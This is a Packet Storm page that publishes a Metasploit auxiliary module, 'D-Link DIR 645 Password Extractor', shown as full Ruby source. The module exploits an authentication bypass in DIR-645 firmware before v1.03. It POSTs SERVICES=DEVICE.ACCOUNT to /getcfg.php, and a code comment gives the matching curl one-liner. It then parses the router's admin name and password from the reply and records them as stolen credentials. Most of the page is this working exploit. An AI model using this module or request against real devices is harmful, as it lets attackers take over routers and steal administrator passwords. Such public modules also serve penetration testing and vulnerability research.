what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link DIR 645 Password Extractor

D-Link DIR 645 Password Extractor
Posted Aug 31, 2024
Authored by Michael Messner, Roberto Paleari | Site metasploit.com

This Metasploit module exploits an authentication bypass vulnerability in DIR 645 < v1.03. With this vulnerability you are able to extract the password for the remote management.

tags | exploit, remote, bypass
SHA-256 | 7fe8b8b74336f5dc7dd1fec74d9b8ce3315a1065aebd43f4c022aa9e9817bb7b

D-Link DIR 645 Password Extractor

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'D-Link DIR 645 Password Extractor',
'Description' => %q{
This module exploits an authentication bypass vulnerability in DIR 645 < v1.03.
With this vulnerability you are able to extract the password for the remote
management.
},
'References' => [
[ 'OSVDB', '90733' ],
[ 'BID', '58231' ],
[ 'PACKETSTORM', '120591' ]
],
'Author' => [
'Roberto Paleari <roberto[at]greyhats.it>', # Vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE
)
end

def run
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")

# Curl request:
# curl -d SERVICES=DEVICE.ACCOUNT http://192.168.178.200/getcfg.php | egrep "\<name|password"

# download configuration
begin
res = send_request_cgi({
'uri' => '/getcfg.php',
'method' => 'POST',
'vars_post' =>
{
'SERVICES' => 'DEVICE.ACCOUNT'
}
})

return if res.nil?
return if (res.headers['Server'].nil? || res.headers['Server'] !~ (/DIR-645 Ver 1\.0/))
return if (res.code == 404)

if res.body =~ %r{<password>(.*)</password>}
print_good("#{rhost}:#{rport} - credentials successfully extracted")

# store all details as loot -> there is some useful stuff in the response
loot = store_loot('dlink.dir645.config', 'text/plain', rhost, res.body)
print_good("#{rhost}:#{rport} - Account details downloaded to: #{loot}")

res.body.each_line do |line|
if line =~ %r{<name>(.*)</name>}
@user = ::Regexp.last_match(1)
next
end
next unless line =~ %r{<password>(.*)</password>}

pass = ::Regexp.last_match(1)
vprint_good("user: #{@user}")
vprint_good("pass: #{pass}")

connection_details = {
module_fullname: fullname,
username: @user,
private_data: pass,
private_type: :password,
workspace_id: myworkspace_id,
proof: line,
last_attempted_at: DateTime.now, # kept in refactor may not be valid, obtained but do not attempted here
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)

report_cred(
ip: rhost,
port: rport,
service_name: 'http',
user: @user,
password: pass,
proof: line
)
end
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close